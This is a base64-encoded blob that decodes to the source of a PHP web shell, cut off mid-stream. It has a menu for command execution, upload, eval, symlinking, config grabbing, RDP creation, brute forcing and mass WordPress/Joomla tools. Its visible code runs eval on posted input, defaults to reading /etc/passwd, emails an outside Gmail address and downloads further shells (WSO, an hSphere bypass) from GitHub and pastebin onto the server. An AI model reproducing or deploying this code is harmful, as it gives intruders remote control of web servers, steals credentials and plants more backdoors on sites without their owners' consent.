B4fS5vdXRwdXR7bWFyZ2luOmF1dG87Ym9yZGVyOjFweCBzb2xpZCAjMzAzMDMwO3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O2JhY2tncm91bmQ6IzAwMDtwYWRkaW5nOjAgMnB4fS5jbWRib3h7d2lkdGg6MTAwJX0uaGVhZF9pbmZve3BhZGRpbmc6MCA0cHh9LmIxe2ZvbnQtc2l6ZTozMHB4O3BhZGRpbmc6MDtjb2xvcjojNTU1fS5iMntmb250LXNpemU6MzBweDtwYWRkaW5nOjA7Y29sb3I6bWFyb29ufS5iX3RibHt0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46MCA0cHggMCAwO3BhZGRpbmc6MCA0cHggMCAwO2JvcmRlci1yaWdodDoxcHggc29saWQgIzMzM30ucGhwaW5mbyB0YWJsZXt3aWR0aDoxMDAlO3BhZGRpbmc6MH0ucGhwaW5mbyB0ZHtiYWNrZ3JvdW5kOiMxMTE7Y29sb3I6I2NjYztwYWRkaW5nOjZweCA4cHh9LnBocGluZm8gdGgsdGh7YmFja2dyb3VuZDp0ZWFsO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMzMzM7Zm9udC13ZWlnaHQ6NDAwfS5waHBpbmZvIGgyLC5waHBpbmZvIGgyIGF7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOjE2cHg7cGFkZGluZzowO21hcmdpbjozMHB4IDAgMCAwO2JhY2tncm91bmQ6IzIyMjtwYWRkaW5nOjRweCAwfS5leHBsb3Jle3dpZHRoOjEwMCV9LmV4cGxvcmUgYXt0ZXh0LWRlY29yYXRpb246bm9uZX0uZXhwbG9yZSB0ZHtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMzMzO3BhZGRpbmc6MCA4cHg7bGluZS1oZWlnaHQ6MjRweDtjb2xvcjojOTk5fS5leHBsb3JlIHRoe3BhZGRpbmc6M3B4IDhweDtmb250LXdlaWdodDo0MDA7Y29sb3I6d2hpdGV9LmV4cGxvcmUgdGg6aG92ZXIsLnBocGluZm8gdGg6aG92ZXJ7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgcmVkfS5leHBsb3JlIHRyOmhvdmVye2JhY2tncm91bmQ6IzMzM30udmlld2ZpbGV7YmFja2dyb3VuZDojZWRlY2ViO2NvbG9yOiMwMDA7bWFyZ2luOjRweCAycHg7cGFkZGluZzo4cHh9LnNlbWJ1bnlpe2Rpc3BsYXk6bm9uZTtwYWRkaW5nOjA7bWFyZ2luOjB9I21lbnV7YmFja2dyb3VuZDojMTExO2ZvbnQtZmFtaWx5OidNb250c2VycmF0JyxzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxMnB4O2NvbG9yOnNpbHZlcn0jbWVudSBhe2ZvbnQtZmFtaWx5OidNb250c2VycmF0JyxzYW5zLXNlcmlmO3BhZGRpbmc6M3B4IDVweDttYXJnaW46Mjt0ZXh0LXNoYWRvdzowIDAgLjFlbSByZ2JhKDAsMTI4LDEyOCwxKSwwcHQgMCAuM2VtIHJnYmEoMCwxMjgsMTI4LDEpO2JhY2tncm91bmQ6IzJkMmIyYjt0ZXh0LWRlY29yYXRpb246bm9uZTtsZXR0ZXItc3BhY2luZzoycHg7ZGlzcGxheTppbmxpbmUtYmxvY2s7LW1vei1ib3JkZXItcmFkaXVzOjEwcHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjVweDsta2h0bWwtYm9yZGVyLXJhZGl1czo1cHg7Ym9yZGVyLXJhZGl1czo1cHh9I21lbnUgYTpob3Zlcntmb250LWZhbWlseTonTW9udHNlcnJhdCcsc2Fucy1zZXJpZjtiYWNrZ3JvdW5kOiMxOTE5MTk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzQ0NDtib3JkZXItdG9wOjFweCBzb2xpZCAjNDQ0O2NvbG9yOiNjZWNlY2V9bGl7ZGlzcGxheTppbmxpbmUtYmxvY2t9dWx7bGlzdC1zdHlsZS10eXBlOm5vbmU7bWFyZ2luOjA7bWFyZ2luOjB9ayxrIGEsayBhOmhvdmVye3RleHQtc2hhZG93OjAgMCAuM2VtIHJlZDtmb250LWZhbWlseTonTW9udHNlcnJhdCcsc2Fucy1zZXJpZjtmb250LXNpemU6MjVweDtjb2xvcjojZmZmfWg3e2ZvbnQtc2l6ZTozNXB4fS8qXV0+Ki88L3N0eWxlPjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NtZCcpLmZvY3VzKCkiPjxkaXYgY2xhc3M9Im1haW4iPjxkaXYgY2xhc3M9ImhlYWRfaW5mbyI+IDx0YWJsZT48dHI+PHRkIHdpZHRoPSIxNSUiPjx0YWJsZSBjbGFzcz0iYl90YmwiIGNlbGxzcGFjaW5nPSIwIj4KPD9waHAKZWNobyAnPGNlbnRlcj48aW1nIHNyYz0iaHR0cDovL2NkbjIudHN0YXRpYy5uZXQvdHJpYnVubmV3cy9mb3RvL2JhbmsvaW1hZ2VzLzIwMTQwMjAzXzA3MDcwMF9pbHVzdHJhc2ktZ2FsYXUuanBnIiB3aWR0aD0iMTUwcHgiPjxicj48Yj4nLihiYXNlNjRfZGVjb2RlKCdVeUJKSUZJZ1RpQkI9PScpLic8L2I+Jyk7Cj8+PGRpdiBpZD0ibWVudSI+PGEgaHJlZj0iPzw/cGhwCmVjaG8gInNhZD0iIC4gJHB3ZDsKPz4mYW1wO3g9YWJvdXQiPkFib3V0IE1lPC9hPjwvZGl2PjwvY2VudGVyPgo8L3RkPjwvdHI+PC90YWJsZT48L3RkPjx0ZCBjbGFzcz0idG9wIiB3aWR0aD0nODAlJyB2YWxpZ249InRvcCI+PD9waHAKZWNobyAkYnVmZjsKPz48L3RkPjx0ZCBzdHlsZT0id2lkdGg6MzAlIiB2YWxpZ249InRvcCI+PGE+c2VydmVyIGlwIDo8P3BocAplY2hvICRzZXJ2ZXJfaXAgLiAiPGZvbnQgY29sb3I9J3JlZCc+PGJyPjxicj48L2ZvbnQ+IHlvdXIgaXAgOiAiIC4gJG15X2lwIC4gIjxicj48L2E+IjsKPz48L3RkPjwvdHI+PC90YWJsZT48L2Rpdj4KPGRpdiBpZD0ibWVudSI+CjxjZW50ZXI+Cjx1bD4KPGxpPjxhIGhyZWY9Ij8iPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQVhOU1IwSUFyczRjNlFBQUFBWmlTMGRFQVA4QS93RC9vTDJua3dBQUFBbHdTRmx6QUFBTjFnQUFEZFlCa0c5NW5BQUFBQWQwU1UxRkI5b0pCeFEyR1JudS9UZ0FBQUp6U1VSQlZEakx0WkxQU3h0QkhNWGY1c2VtWkRmUzdLcElhV3pSU2hvRkQ1VUs5aDZhaTVlQ1BmWmt3WUo0a0Y1NjZhMzBIMGdGMjRCVXFEZGpCVDFWQ0ZJc05CVVdFdytoYTJvYnBER1VYR1IxWjdLWitmYlFSa3kxdmZVTEF6UEQ0L01lTXcvNEg3TzZ1Z29Bc0cxN3RGd3VKd0ZnZDNmM1FxM3lOMGcrbjcrcjYvb0tnRXRRTURXWUdIeDVrYzUzOXJDNHVBZ0EySHkvT2FHcTZvcGxXYVZjTG1keHhsOVlsdlVFQUxhMnR2NmRZR1BqWFNvUzZjaFdLcFdLYVpwZG9WQklMNVZLKzBORFEvMUVORDAyTmpaL0xzSGMzQndBWUcxdGJTSVlWTE9GUXVHenBtbGRnVURBa0ZLcXZiMjkxN2EzdDIzR1dEcVh5ejBCZ1BYMTlmWUV5OHZMS1YzWHN3Y0hCeFhETUxvaWtZZ2hwYVJXMGthandmYks1VzgzNC9GK0FOT3BWR3IrRkxDMHRIUmYwL1RYKy90ZjdKNmVuaXVhcHBrQTZJd0J0U0MyYlg5TkpCSURSUFQwNU9Ua3VUTDFhS3BqOVBib3gxcXRkbWdZeGxYVE5HOFFFVjN3UGdSQWNWMjNibGxXZm1Sa1pOaDEzVnVLcG1uQnZyNitPMUxLMnN6TXpOdHdPQnh2aVlVUVVCUUZQcCt2QllDVThqQ1R5YVNPajQ4dkEvaHc2akkrUGg1SkpwT2Z3dUZ3bklqQUdLc3ZMQ3c4Y3h4SFRFNCtmR3dZMFJnUmdZaStPNDR6UERzN1cyL3JnZXU2Q21NTWpERnd6aUdFK0pGSUpGNVZxOVZNcytrZGNzN0JPUWRqREVkSFI2ZkdnZFpHQ0FIT09meCtQNGdJUWdnWmpVYXBzOU9rUnFOQmpESFFyMUU4ejhNNVFMVmFoZU00VFovZkJ4RFFiRFpWei9NZ0pZRnpIbFJWRlVSUW1zMkdxTmZyNHFJbSttT3gyTDN1N3U1aEtTVkNJWFZQU3ZHbXNGTlVCdUx4QjhGQTREb0FlSjYzVXl3V3N3QmsyeCtsMCtrVzBQOTdLWDgwdG5YZk5qOEI1TkU1RE9NVjJUMEFBQUFBU1VWT1JLNUNZSUk9Jz48L2E+PC9saT4KPGxpPjxhIGhyZWY9Ij88P3BocCBlY2hvICJzYWQ9IiAuICRwd2Q7ID8+Ij5GaWxlczwvYT48L2xpPgo8bGk+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInNhZD0iIC4gJHB3ZDsgPz4mYW1wO3g9c2hlbGwiPkNvbW1hbmQ8L2E+PC9saT4KPGxpPjxhIGhyZWY9Ij88P3BocCBlY2hvICJzYWQ9IiAuICRwd2Q7ID8+JmFtcDt4PXVwbG9hZCI+VXBsb2FkPC9hPjwvbGk+CjxsaT48YSBocmVmPSI/PD9waHAgZWNobyAic2FkPSIgLiAkcHdkOyA/PiZhbXA7eD1waHAiPkV2YWw8L2E+PC9saT4KPGxpPjxhIGhyZWY9Ij88P3BocCBlY2hvICJzYWQ9IiAuICRwd2Q7ID8+JmFtcDt4PXN5bSI+U3ltPC9hPjwvbGk+CjxsaT48YSBocmVmPSI/PD9waHAgZWNobyAic2FkPSIgLiAkcHdkOyA/PiZhbXA7eD1qdW1waW5nIj5KdW1waW5nPC9hPjwvbGk+CjxsaT48YSBocmVmPSI/PD9waHAgZWNobyAic2FkPSIgLiAkcHdkOyA/PiZhbXA7eD1ob3N0ZyI+RnVja2luZyBIb3N0R2F0b3I8L2E+PC9saT4KPGxpPjxhIGhyZWY9Ij88P3BocCBlY2hvICJzYWQ9IiAuICRwd2Q7ID8+JmFtcDt4PWdyYWJjIj5Db25maWcgR3JhYmJlcjwvYT48L2xpPgo8bGk+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInNhZD0iIC4gJHB3ZDsgPz4mYW1wO3g9bmV0c3Bsb2l0Ij5Ub29sczwvYT48L2xpPgo8bGk+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInNhZD0iIC4gJHB3ZDsgPz4mYW1wO3g9bWFzcyI+TWFzczwvYT48L2xpPgo8bGk+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInNhZD0iIC4gJHB3ZDsgPz4mYW1wO3g9a3JkcCI+Q3JlYXRlIFJEUDwvYT48L2xpPgo8bGk+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInNhZD0iIC4gJHB3ZDsgPz4mYW1wO3g9bWFpbHRlc3QiPk1haWwgVGVzdGVyPC9hPjwvbGk+CjxsaT48YSBocmVmPSI/PD9waHAgZWNobyAic2FkPSIgLiAkcHdkOyA/PiZhbXA7eD1nZXRfdG9vbHMiPldyaXRlIFRvb2xzPC9hPjwvbGk+CjxsaT48YSBocmVmPSI/PD9waHAgZWNobyAic2FkPSIgLiAkcHdkOyA/PiZhbXA7eD1ieXBhc3NlciI+QnlwYXNzZXI8L2E+PC9saT4KPGxpPjxhIGhyZWY9Ij88P3BocCBlY2hvICJzYWQ9IiAuICRwd2Q7ID8+JmFtcDt4PWJydXRlIj5CcnV0ZTwvYT48L2xpPgo8bGk+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInNhZD0iIC4gJHB3ZDsgPz4mYW1wO3g9cGhwaW5mbyI+cGhwaW5mbzwvYT48L2xpPgo8bGk+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInNhZD0iIC4gJHB3ZDsgPz4mYW1wO3g9em9uZS1oIj5ab25lLUg8L2E+PC9saT4KPGxpPjxhIGhyZWY9Ij88P3BocCBlY2hvICJzYWQ9IiAuICRwd2Q7ID8+JmFtcDt4PWpvb21sYSI+Sm9vbWxhPC9hPjwvbGk+CjxsaT48YSBocmVmPSI/PD9waHAgZWNobyAic2FkPSIgLiAkcHdkOyA/PiZhbXA7eD13b3JkcHJlc3MiPldvcmRwcmVzczwvYT48L2xpPgo8bGk+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInNhZD0iIC4gJHB3ZDsgPz4mYW1wO3g9dmIiPlZiPC9hPjwvbGk+CjxsaT48YSBocmVmPSI/PD9waHAgZWNobyAic2FkPSIgLiAkcHdkOyA/PiZhbXA7eD1kb21haW5zIj5Eb21haW5zPC9hPjwvbGk+CjxsaT48YSBocmVmPSI/PD9waHAgZWNobyAic2FkPSIgLiAkcHdkOyA/PiZhbXA7eD1zdHJpbmciPlN0cmluZzwvYT48L2xpPgo8bGk+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInNhZD0iIC4gJHB3ZDsgPz4mYW1wO3g9Y21zZGV0Ij5DTVMgRGV0ZWN0b3I8L2E+PC9saT4KPGxpPjxhIGhyZWY9Ij88P3BocCBlY2hvICJzYWQ9IiAuICRwd2Q7ID8+JmFtcDt4PXdtIj5XcCBNYXNzPC9hPjwvbGk+CjxsaT48YSBocmVmPSI/PD9waHAgZWNobyAic2FkPSIgLiAkcHdkOyA/PiZhbXA7eD1zZXR0aW5ncyI+U2V0dGluZ3M8L2E+PC9saT4KPGxpPjxhIGhyZWY9Ij88P3BocCBlY2hvICJzYWQ9IiAuICRwd2Q7ID8+JmFtcDt4PWNoYW5nZV9wYXNzIj5DaGFuZ2UgU2hlbGwgUGFzc3dvcmQ8L2E+PC9saT4KPGxpPjxhIGhyZWY9Ij9sb2dvdXQiIHN0eWxlPSJiYWNrZ3JvdW5kOiM5MDA7Y29sb3I6I0ZGRjtiYWNrZ3JvdW5kLWltYWdlOnVybCgnaHR0cDovL3VwLmFzaGl5YW5lLm9yZy9pbWFnZXMvYjVjcnI3cmhyd2M1ZTk3bnZneHEucG5nJyk7YmFja2dyb3VuZC1wb3NpdGlvbjoycHg7aGVpZ2h0OjIwcHg7d2lkdGg6MTAwcHg7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0Ij5Mb2dvdXQ8L2E+PC9saT4KPC91bD4KPC9jZW50ZXI+CjwvZGl2Pgo8P3BocAppZiAoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocCcpKSB7Cj8+PGZvcm0gYWN0aW9uPSI/c2FkPTw/cGhwCiAgICBlY2hvICRwd2Q7Cj8+JmFtcDt4PXBocCIgbWV0aG9kPSJwb3N0Ij48dGFibGUgY2xhc3M9ImNtZGJveCI+PHRyPjx0ZD48dGV4dGFyZWEgY2xhc3M9Im91dHB1dCIgbmFtZT0iY21kIiBpZD0iY21kIiBjb2xzPTkwPiAKPD9waHAKICAgIGlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdGNtZCddKSkgewogICAgICAgIGVjaG8gZXZhbChtYWdpY2Jvb20oJF9QT1NUWydjbWQnXSkpOwogICAgfSBlbHNlCiAgICAgICAgZWNobyAiZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9wYXNzd2QnKTsiOwo/PjwvdGV4dGFyZWE+PC90ZD48L3RyPjx0cj48dGQ+PGlucHV0IHN0eWxlPSJ3aWR0aDoxOSUiIGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkRvICEiIG5hbWU9InN1Ym1pdGNtZCIgLz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9mb3JtPiA8P3BocApleGl0KCk7Cn0KZWxzZWlmIChpc3NldCgkX0dFVFsnbG9nb3V0J10pKSB7CnNlc3Npb25fdW5zZXQoJF9TRVNTSU9OWyJsb2dpbiJdKTsKZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0iUmVmcmVzaCIgY29udGVudD0iMDsgVVJMPScuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uJyIvPic7Cn0KZWxzZWlmIChpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnY2hhbmdlX3Bhc3MnKSkgewo/Pgo8Y2VudGVyPgo8aDE+Q2hhbmdlIFNoZWxsIFBhc3N3b3JkPC9oMT4KPGZvcm0gYWN0aW9uPSI/c2FkPTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9Y2hhbmdlX3Bhc3MiIG1ldGhvZD0icG9zdCI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwYXNzd29yZCIgY2xhc3M9ImlucHV0eiI+PGJyPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIGNsYXNzPSJpbnB1dHpidXQiPgo8L2Zvcm0+Cjw/cGhwCmlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKXsKICAgICRuZXdwYXNzd29yZCA9IG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pOwogICAgJG9sZF9wYXNzID0gJyInLiRhdXRoX3Bhc3MuJyI7JzsKICAgICRuZXdfcGFzcyA9ICciJy4kbmV3cGFzc3dvcmQuJyI7JzsKICAgIGlmKGZpbGVfZ2V0X2NvbnRlbnRzKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSkpewogICAgICAgICRrcl9wYXNzID0gZmlsZV9nZXRfY29udGVudHMoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKTsKICAgICAgICAka3JfcGFzcyA9IHByZWdfcmVwbGFjZSgiLyRvbGRfcGFzcy9pcyIsJG5ld19wYXNzLCRrcl9wYXNzKTsKICAgIGlmKGZpbGVfcHV0X2NvbnRlbnRzKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSwgJGtyX3Bhc3MpKXsKICAgICAgICBlY2hvICJwYXNzd29yZCBiYXJ1IDogPGZvbnQgY29sb3I9cmVkPiIuJF9QT1NUWydwYXNzd29yZCddLiI8L2ZvbnQ+IC0gPGZvbnQgY29sb3I9Z3JlZW55ZWxsb3c+JG5ld3Bhc3N3b3JkPC9mb250PiI7CiAgICB9CiAgICB9ZWxzZXsKICAgICAgICBlY2hvICJQYXNzd29yZCBnYWdhbCI7CiAgICB9Cn0KICAgIGV4aXQoKTsKfQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ21haWx0ZXN0JykpCiAgICB7CiAgICAgICAgJHRvICAgICAgPSAnaHRhY2Nlc3MxMkBnbWFpbC5jb20nOwogICAgICAgICRzdWJqZWN0ID0gJ1N1cHBvcnQgTWFpbGVyIF5fXic7CiAgICAgICAgJG1lc3NhZ2UgPSAnU3VwcG9ydCBNYWlsZXIgISBeX14nOwogICAgICAgICRoZWFkZXJzID0gJ0Zyb206IHdlYm1hc3RlckBleGFtcGxlLmNvbScgLiAiXHJcbiIgLgogICAgICAgICdSZXBseS1Ubzogd2VibWFzdGVyQGV4YW1wbGUuY29tJyAuICJcclxuIiAuCiAgICAgICAgJ1gtTWFpbGVyOiBQSFAvJyAuIHBocHZlcnNpb24oKTsKCiAgICAgICAgbWFpbCgkdG8sICRzdWJqZWN0LCAkbWVzc2FnZSwgJGhlYWRlcnMpOwogICAgICAgIGlmKG1haWwoJHRvLCAkc3ViamVjdCwgJG1lc3NhZ2UsICRoZWFkZXJzKSl7CiAgICAgICAgICAgIGVjaG8gJzxzY3JpcHQ+YWxlcnQoIlN1cHBvcnQgTWFpbGVyICEhISBDZWsgRW1haWxtdSAhIik8L3NjcmlwdD4nOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBlY2hvICc8c2NyaXB0PmFsZXJ0KCJBZGEgS2VzYWxhaGFuICEgIik8L3NjcmlwdD4nOwogICAgICAgIH0KICAgICAgICBleGl0KCk7CiAgICB9CmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc2V0dGluZ3MnKSkKICAgIHsKICAgICA/Pgo8Y2VudGVyPjxicj4KPGg3PlNldHRpbmdzIFNoZWxsPC9oNz48YnI+CjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9c2V0X2JnIj48aW5wdXQgY2xhc3M9aW5wdXR6YnV0IHR5cGU9c3VibWl0IHZhbHVlPSIgQmFja2dyb3VuZCBTaGVsbCIgLz48L2E+CnwgPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1zZXRfbG9naW4iPjxpbnB1dCBjbGFzcz1pbnB1dHpidXQgdHlwZT1zdWJtaXQgdmFsdWU9IiBMb2dpbiBCYWNrZ3JvdW5kIiAvPjwvYT48YnI+CjwvY2VudGVyPgo8P3BocAogICAgLy9mdW5jdGlvbnMgc2V0dGluZ3MKICAgICAgICAkYmdzaGVsbCAgICA9ICRfUE9TVFsnYmdfc2hlbGwnXTsKICAgICAgICAkYmdfbG9naW4gICA9ICRfUE9TVFsnYmdfbG9naW4nXTsKCiAgICAgICBpZihpc3NldCgkX1BPU1RbJ3N1Ym1pdCddKSl7CgogICAgICAgIGlmICghZW1wdHkoJGJnc2hlbGwpKSB7CiAgICAgICAgICAgICRiZ3NoZWxsbCA9ICRfUE9TVFsnYmdfc2hlbGwnXTsKICAgICAgICAgICAgJHJlcGxhY2VfbmV3ID0gJycuJGJnc2hlbGxsLicnOwogICAgICAgICAgICBpZihmaWxlX2dldF9jb250ZW50cygkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pKXsKICAgICAgICAgICAgICAgICR3cml0ZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSk7CiAgICAgICAgICAgICAgICAkYmFja2dyb3VuZCA9IHByZWdfcXVvdGUoJGJhY2tncm91bmQsICcvJyk7CiAgICAgICAgICAgICAgICB2YXJfZHVtcCgkYmFja2dyb3VuZCk7CiAgICAgICAgICAgICAgICBleGl0KCk7CiAgICAgICAgICAgICAgICAkd3JpdGUgPSBwcmVnX3JlcGxhY2UoIi8kYmFja2dyb3VuZC8iLCRyZXBsYWNlX25ldywkd3JpdGUpOwogICAgICAgICAgICBpZihmaWxlX3B1dF9jb250ZW50cygkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10sICR3cml0ZSkpewogICAgICAgICAgICAgICAgZWNobyAnPGNlbnRlcj5TZXR0aW5nIFNhdmVkICE8L2NlbnRlcj4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyAiPGNlbnRlcj5TZXR0aW5nIE5vdCBTYXZlZDwvY2VudGVyPiI7CiAgICAgICAgICAgIH0KICAgICAgICB9ZWxzZWlmKCFlbXB0eSgkYmdfbG9naW4pKXsKICAgICAgICAgICAgJGJnbG9naW4gPSAkX1BPU1RbJ2JnX2xvZ2luJ107CiAgICAgICAgICAgICRyZXBsYWNlX25ldyA9ICcnLiRiZ2xvZ2luLicnOwogICAgICAgICAgICBpZihmaWxlX2dldF9jb250ZW50cygkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pKXsKICAgICAgICAgICAgICAgICR3cml0ZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSk7CiAgICAgICAgICAgICAgICAkYmFja2dyb3VuZF9sb2dpbiA9IHByZWdfcXVvdGUoJGJhY2tncm91bmRfbG9naW4sICcvJyk7CiAgICAgICAgICAgICAgICAkd3JpdGUgPSBwcmVnX3JlcGxhY2UoIi8kYmFja2dyb3VuZF9sb2dpbi8iLCRyZXBsYWNlX25ldywkd3JpdGUpOwogICAgICAgICAgICBpZihmaWxlX3B1dF9jb250ZW50cygkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10sICR3cml0ZSkpewogICAgICAgICAgICAgICAgZWNobyAnPGNlbnRlcj5TZXR0aW5nIFNhdmVkICE8L2NlbnRlcj4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgZWNobyAiPGNlbnRlcj5TZXR0aW5nIE5vdCBTYXZlZCAhPC9jZW50ZXI+IjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICBleGl0KCk7CiAgICB9CiAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2dldF90b29scycpKQogICAgewogICAgICAgID8+PGNlbnRlcj48YnI+PGJyPjxoMz5Xcml0ZSBUb29sczwvaDM+Cjx0YWJsZT4KPHRyPjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPiZuYnNwOzx0ZD4KPHNlbGVjdCBjbGFzcz0iaW5wdXR6IiBhbGlnbj0ibGVmdCIgbmFtZT0icGlsaWhhbiIgaWQ9InBpbGloIj4KPG9wdGlvbiB2YWx1ZT0iaHNwaGVyZSI+QnlwYXNzIGhTcGhlcmUgU2hlbGw8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iYWRtaW5lciI+QWRtaW5lcjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJtaW5pYWRtaW4iPlBIUE1pbmlBZG1pbjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJ3c28iPldTTyBTaGVsbDwvb3B0aW9uPgo8L3NlbGVjdD4KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0ZXMiIGNsYXNzPSJpbnB1dHoiIHZhbHVlPSJjcmVhdGUiPgo8L3RkPjwvZm9ybT48L3RyPjwvdGFibGU+PGJyLz48YnIvPjxici8+Cjw/cGhwCiAgICAgICAgICAgIGZ1bmN0aW9uIGdldHRvb2woJGZpbGVuYW1lLCRsaW5rKXsKICAgICAgICAgICAgICAkZ2V0ID0gZmlsZV9nZXRfY29udGVudHMoJGxpbmspOwogICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlbmFtZS4nLnBocCcsICRnZXQpOwogICAgICAgICAgICAgIGVjaG8gJzxzY3JpcHQ+YWxlcnQoIkRvbmUgISAiKTs8L3NjcmlwdD4nOwogICAgICAgICAgICAgIGVjaG8gJ0Jlcmhhc2lsID0+ICcuJyAnLic8YSBocmVmPSInLiRmaWxlbmFtZS4nLnBocCIgdGFyZ2V0PSJfYmxhbmsiPicuJGZpbGVuYW1lLicucGhwPC9hPic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRzdWJtaXQgPSAkX1BPU1QgWydzdWJtaXRlcyddOwogICAgICAgICAgICAgICAgaWYoaXNzZXQoJHN1Ym1pdCkpIHsKICAgICAgICAgICAgICAgICAgICAkcGlsaWggPSAkX1BPU1RbJ3BpbGloYW4nXTsKICAgICAgICAgICAgICAgICAgICAvLy9oc3BoZXJlIHNoZWxsCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICggJHBpbGloID09ICdoc3BoZXJlJykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZ2V0dG9vbCgiaHNwaGVyZSIsImh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9zaW5rYXJvaWQvcGFzaXJtZXJhaC9zYzAvc2MwaHNwaGVyZS5waHAiKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKCAkcGlsaWggPT0gJ2FkbWluZXInKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBnZXR0b29sKCJhZG1pbmVyIiwiaHR0cHM6Ly93d3cuYWRtaW5lci5vcmcvc3RhdGljL2Rvd25sb2FkLzQuMi40L2FkbWluZXItNC4yLjQucGhwIik7CiAgICAgICAgICAgICAgICAgICAgICAgIH1lbHNlaWYoJHBpbGloID09ICdtaW5pYWRtaW4nKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdldHRvb2woInNxbG1pbmlhZG1pbiIsImh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9pSFNOa0ttZyIpOwogICAgICAgICAgICAgICAgICAgICAgICB9ZWxzZWlmKCAkcGlsaWggPT0gJ3dzbycpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZ2V0dG9vbCgid3NvIiwiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Rlbm5jL3dlYnNoZWxsL21hc3Rlci9waHAvd3NvL1dTT19iYXNlNjQucGhwIik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgZXhpdCgpOwogICAgfQogICAgZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdzZXRfYmcnKSkKICAgIHsKICAgICAgICA/Pgo8Y2VudGVyPgo8Zm9ybSBhY3Rpb249Ij9zYWQ9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7eD1zZXR0aW5ncyIgbWV0aG9kPSJQT1NUIj4KPHRhYmxlPgo8dHI+Cjx0ZD48aDc+QXBwZWFyYW5jZSBTZXR0aW5nPC9oNz48L3RkPgo8L3RyPgo8dHI+Cjx0ZD5CYWNrZ3JvdW5kIFNoZWxsPC90Z